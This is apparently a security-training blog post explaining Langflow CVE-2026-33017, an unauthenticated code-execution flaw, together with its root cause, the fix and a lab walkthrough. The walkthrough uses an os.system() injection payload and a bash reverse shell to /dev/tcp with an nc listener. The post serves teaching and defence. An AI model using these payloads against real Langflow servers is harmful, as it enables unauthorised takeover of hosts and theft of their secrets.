Resources
    They Patched the Door but ...
    15 September 26

    They Patched the Door but Left the Window Open: Inside Langflow’s CVE-2026-33017

    Posted byINE
    news-featured

    Imagine you are running an AI workflow builder for your team. It hums along quietly in the background, building flows. One quiet afternoon, somewhere on the internet, an automated scanner finds your Langflow instance. Soon after, someone who has never logged in, never entered a password, and never clicked a single button is reading your .env file, harvesting your OpenAI keys, and locating sensitive configuration files and databases.

    That is not a hypothetical scenario. That is CVE-2026-33017, and it played out in the wild in almost exactly that sequence. This post walks through what the bug is, why it exists, and how a single unauthenticated HTTP request turns into full control of the host. The interesting part is not just the vulnerability itself. It is that the Langflow team had already fixed this exact class of bug once before, and the attackers simply walked around the fix.

    Vulnerability Overview

    CVE Identifier: The vulnerability is tracked as CVE-2026-33017.

    Affected Product: It affects Langflow, the open-source tool for building and deploying AI-powered agents and workflows.

    Affected Versions: It affects all Langflow versions prior to 1.9.0, up to and including 1.8.2.

    Vulnerability Type: It is an unauthenticated remote code execution (RCE) flaw, a code injection reachable over the network with no login.

    Severity: It carries a CVSS score of 9.3 Critical.

    Vulnerable Endpoint: The flaw lives in the public flow-build endpoint, POST /api/v1/build_public_tmp/{flow_id}/flow

    First Exploited in the Wild: The first exploitation was observed on March 18, 2026, roughly 20 hours after the advisory went public, as reported by Sysdig’s Threat Research Team.

    Let us start with what Langflow is, because the “why” of this bug is baked into what the product is built to do.

    The Setup: A Tool Built to Run Your Code

    Langflow is a popular open-source, visual tool for building and deploying AI-powered agents and workflows. You drag components onto a canvas, wire them together, and Langflow runs the resulting graph. One of its headline features is the “custom component”: you can write a Python class that inherits from Langflow’s Component base class right inside a flow, and Langflow will execute it as part of the pipeline.

    Read that last sentence again, because it is the whole story. One thing Langflow is built to do is take the code you give it and run it. That is a feature, not a bug. The trouble begins the moment the question “whose code, and are they allowed to run it here?” gets the wrong answer.

    To run your custom component, Langflow does what a lot of dynamic Python tools do under the hood: it takes the code you wrote and feeds it to Python’s built-in exec(), the function that executes a string of Python as if it were part of the program. There is no sandbox, no restricted namespace, and no separate low-privilege process. Whatever you write runs with the full privileges of the Langflow server. For a trusted, authenticated user building their own flows, that is an acceptable trade. For an anonymous stranger on the internet, it is a catastrophe.

    So the entire security of this feature rests on one thing: making sure only trusted, authenticated people can reach that exec(). Hold that thought.

    Act One: The First Fix (CVE-2025-3248)

    This is not Langflow’s first encounter with this problem. Earlier, CVE-2025-3248 (CVSS 9.8) described an unauthenticated RCE that funneled attacker-supplied code into an unsandboxed exec() through an endpoint called POST /api/v1/validate/code. Anyone could hit it, hand over arbitrary code, and have it run.

    The fix looked reasonable on the surface. The maintainers added an authentication gate to /api/v1/validate/code. Now you needed to be a logged-in user to reach that endpoint. Problem solved, right?

    Here is the subtle mistake, and it is one worth internalizing as a defender. The fix protected that one endpoint, but nobody audited the other endpoints that also let user input reach exec(). That exec() sat deep in Langflow’s code, still unsandboxed, still perfectly happy to run anything that reached it, by whatever path. The patch locked one door into the room. It did nothing about the fact that the room still contained a loaded weapon, and a building with a loaded weapon in it needs more than one locked door to be safe. There were other ways in.

    The official advisory for CVE-2026-33017 is careful to call this a distinct vulnerability rather than a straight patch bypass: the earlier bug was missing auth on a code-validation endpoint, while this one is an endpoint that is unauthenticated by design and mistakenly accepts attacker-controlled executable code through its data parameter. Fair enough. But from a defender’s chair, the shared thread is unmistakable and it is the whole lesson of this CVE: both bugs end with untrusted code hitting an unsandboxed exec(). The two just take different routes to get there, and locking one route left the other wide open.

    Act Two: Finding the Window

    Now think like an attacker. You know Langflow can run arbitrary code somewhere inside itself. You know one route to it got locked. The natural next question is: what other routes touch that same code path?

    Langflow has an endpoint designed to let anonymous users build “public” flows, the kind you might share with people who do not have accounts. It is called:

    POST /api/v1/build_public_tmp/{flow_id}/flow

    The word “public” is doing a lot of load-bearing work here. This endpoint is unauthenticated on purpose. It was built to be reachable without logging in. And critically, it accepts a data parameter: a full flow definition, supplied by the caller, that Langflow then builds.

    Do you see it? To build a flow, Langflow turns each component in the graph into a running object, and for a custom component that means compiling and executing the code in its definition. When you send the optional data parameter, Langflow builds your submitted flow instead of the stored one. So an attacker overrides the flow’s contents with a definition full of malicious component code, and Langflow runs it. No account required, because the endpoint never wanted one.

    The first fix gated /validate/code. Nobody gated build_public_tmp, because on the surface it was just “build a public flow,” an innocent-sounding feature. But it led to an unsandboxed exec() just the same. The attacker did not pick the lock on the patched door. They strolled in through a window that was never locked in the first place.

    How It Actually Works: Walking the Code

    Let us make this concrete and look at the two ends of the chain in the actual source: the endpoint the request hits, and the exec() it eventually reaches. The relevant files are in the Langflow repository, and the line numbers below are against tag 1.7.3, a vulnerable version.

    Where it starts: the unauthenticated endpoint

    File: src/backend/base/langflow/api/v1/chat.py

    The route and its handler start at line 581:

    1.png
    @router.post("/build_public_tmp/{flow_id}/flow")
    async def build_public_tmp(
        ...
        data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,   # attacker-controlled flow definition
        ...
    ):

    Start with the fact that this endpoint takes no authenticated user. That is not the bug. It is intentional, and the docstring says so outright: “This endpoint is specifically for public flows that don’t require authentication.” A public endpoint that anyone can reach is a perfectly reasonable thing to have. The catch is what such an endpoint is allowed to do, and this is where the design goes wrong.

    Look at the data parameter. Its type is FlowDataRequest, the caller’s full flow definition, which per the advisory can carry “arbitrary Python code in node definitions.” The endpoint was meant to serve an existing flow that has been marked public in the database. Instead it happily accepts and builds a flow body handed to it by whoever is calling. So an unauthenticated, public endpoint, exactly as designed, ends up building and running a flow that the caller supplied. Public access was fine. Public access to arbitrary submitted code is the vulnerability.

    Where it ends: the exec() sink

    File: src/lfx/src/lfx/custom/validate.py

    Deep in the custom-component machinery, in the function prepare_global_scope() (defined at line 323, with its exec() at line 397), sits the sink:

    2.png
    ...
    exec(compiled_code, exec_globals)     # attacker's code runs here, no sandbox
    ...

    That is the loaded weapon from Act One. This file is the code-execution heart of Langflow’s custom components. It does not run in a sandbox, a restricted namespace, or a separate low-privilege process. Whatever code reaches it runs with the full authority of the Langflow process.

    And here is the detail that makes it worse than it first looks. When Langflow builds the graph, it calls prepare_global_scope(), which uses exec() to compile and run module-level code from the component definitions. Module-level Assign statements in the supplied code execute immediately at build time, before the flow even runs. Simply getting Langflow to build the graph is enough to run their code.

    Put the whole attack in a sentence: an attacker embeds a component whose code runs a shell command (through subprocess, os.system, or similar) inside the data they submit, and POSTs it to the public endpoint. Langflow builds the graph, hits exec(), and the attacker’s command runs on the server.

    The Lab: Exploiting It Yourself

    Reading about a vulnerability is one thing. Popping a shell with it is another. Here is a walkthrough of exploiting CVE-2026-33017 end-to-end in a lab environment, from a Kali box to code execution on the target.

    The Environment

    The lab target runs the vulnerable Langflow release, version 1.7.3, reachable from a Kali attack box at:

    http://demo.ine.local:7860
    image5.png

    Step 1: Confirm the target is alive

    ping -c 4 demo.ine.local
    4.png

    Step 2: Confirm the relevant port is open

    nmap -p- demo.ine.local
    5.png

    Port 7860 is the default port used by Langflow.

    Step 3: Load the dashboard

    http://demo.ine.local:7860
    6.png

    The dashboard loads straight in, no login screen, confirming LANGFLOW_AUTO_LOGIN is active on this target (which is the default).

    Step 4: Preparing the exploit

    There are multiple exploit scripts available publicly for this CVE by now; disclosure was followed quickly by several independent proof-of-concept releases. For this lab, we will use the PoC available here.

    7.png

    Strictly speaking, the only thing an attacker needs going in is the UUID of a flow on the target that is already marked public. In the real world, those are not hard to come by; public flow links get shared around exactly like any other shareable chatbot link. And on a target where AUTO_LOGIN is left at its default of true, as it is here, an attacker does not even need that: they can hit /api/v1/auto_login, get a token, and mint their own public flow on the spot. No prerequisite survives that setting.

    Here is what the script actually does, and notice it needs nothing handed to it up front. Given just a target URL, it:

    1. Calls /api/v1/auto_login itself and pulls an access token straight out of the response. No credentials, because LANGFLOW_AUTO_LOGIN hands one to anybody who asks.
    2. Looks for an existing flow with access_type set to PUBLIC. If it finds one, it reuses it. If not, it creates one itself and marks it public, no --flow-id argument required unless you want to target a specific one.
    3. Builds the malicious payload: a CustomComponent node whose code field is ordinary-looking Python, ending in one line that matters, a module-level assignment: _r = __import__('os').system(<command>). That is the exact quirk from earlier in this post: an assignment is a statement, and prepare_global_scope() executes every top-level statement in the submitted code the moment the graph is compiled. No flow run, no button click, just the act of building the graph.
    4. POSTs that payload to /api/v1/build_public_tmp/{flow_id}/flow, the same unauthenticated endpoint walked through above, and confirms success properly: it polls the build’s event stream for a completed vertex rather than just trusting a response code.

    Whatever command you hand it (via --cmd) runs on the server. Its output goes to the server’s own process output, not the HTTP response, so on its own the script proves code execution rather than handing you an interactive session. To turn that into an actual shell, point --cmd at a reverse-shell one-liner instead of a simple command, and start up a listener on your attack box first. The mechanism is identical, it is still one module-level os.system() call, running whatever string you gave it.

    Step 5: Prove code execution first

    Before reaching for a shell, run the script with a harmless command to confirm the target is actually vulnerable:

    python3 poc.py --url http://demo.ine.local:7860 --cmd "bash -c 'whoami'"

    8.png

    auth: JWT token obtained confirms the script got itself a token via auto-login with nothing supplied. flow: created and flow: deleted show it minting its own public flow, using it, and cleaning up after itself, exactly the self-service chain described above. VULNERABLE — RCE executed is the script’s own event-stream confirmation. The command itself, whoami, never shows its output here, because as noted, os.system() output goes to the server’s process, not back over HTTP. This step is purely to confirm the vulnerability fires before committing to a shell.

    Step 6: Find the attack box’s IP

    The reverse shell needs somewhere to call home, so grab the Kali box’s own IP address on the lab network.

    ifconfig
    9.png

    Take the inet address shown for eth1 and use it in place of the IP in the reverse-shell command below.

    Step 7: Start a listener and fire the exploit

    Open two terminals. In the first, start a listener on the attack box:

    nc -lvnp 4444
    10.png

    In the second terminal, fire the exploit with --cmd set to a reverse-shell one-liner pointed at the Kali box’s eth1 IP from Step 6:

    python3 poc.py --url http://demo.ine.local:7860 --cmd "bash -c 'bash -i >& /dev/tcp/<kali-ip>/4444 0>&1'"
    11.png

    The script authenticates, mints its own public flow, and POSTs the malicious payload, same as the dry run. This time the module-level os.system() call on the target is not id, it is a Bash reverse shell, and the moment prepare_global_scope() executes it, the target reaches back out to the waiting listener.

    Switch back to the first terminal. The listener has caught a connection: a shell on the Langflow server, spawned entirely by a single unauthenticated HTTP request.

    12.png

    What just happened

    No password was entered. No account was created. One HTTP POST, carrying a flow definition an anonymous caller was never supposed to be able to substitute, and Langflow built it for us. exec() did exactly what it always does at build time for any custom component. The only difference was whose code it ran.

    The fix in v1.9.0

    The actual patch, PR #12160, merged March 13, 2026, does exactly what that last sentence implies is necessary: it removes the ability to substitute anything at all. build_public_tmp no longer has a data parameter in its own signature at all, so there is nothing left for a caller to send. Internally, that function still has a data argument, but build_public_tmp now always passes data=None into it, with a comment spelling out why: “Always None, public flows load from database only.” The endpoint’s own docstring carries an explicit security note: “The data parameter is NOT accepted to prevent flow definition tampering.”

    That is the correct shape for this fix. It does not add an authentication check, because the endpoint was never supposed to require one. It closes the one gap that mattered: a public endpoint can serve a public flow, but it can no longer be talked into building someone else’s.

    13.png

    14.png

    References

    Try this exploit for yourself within Skill Dive's CVE lab collection, regularly updated with the latest vulnerabilities.

    Share this post with your network

    twitter Logofacebook Logolinkedin Logowhatsapp Logoemail Logo
    © 2026 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
    instagram Logofacebook Logox Logolinkedin Logoyoutube Logo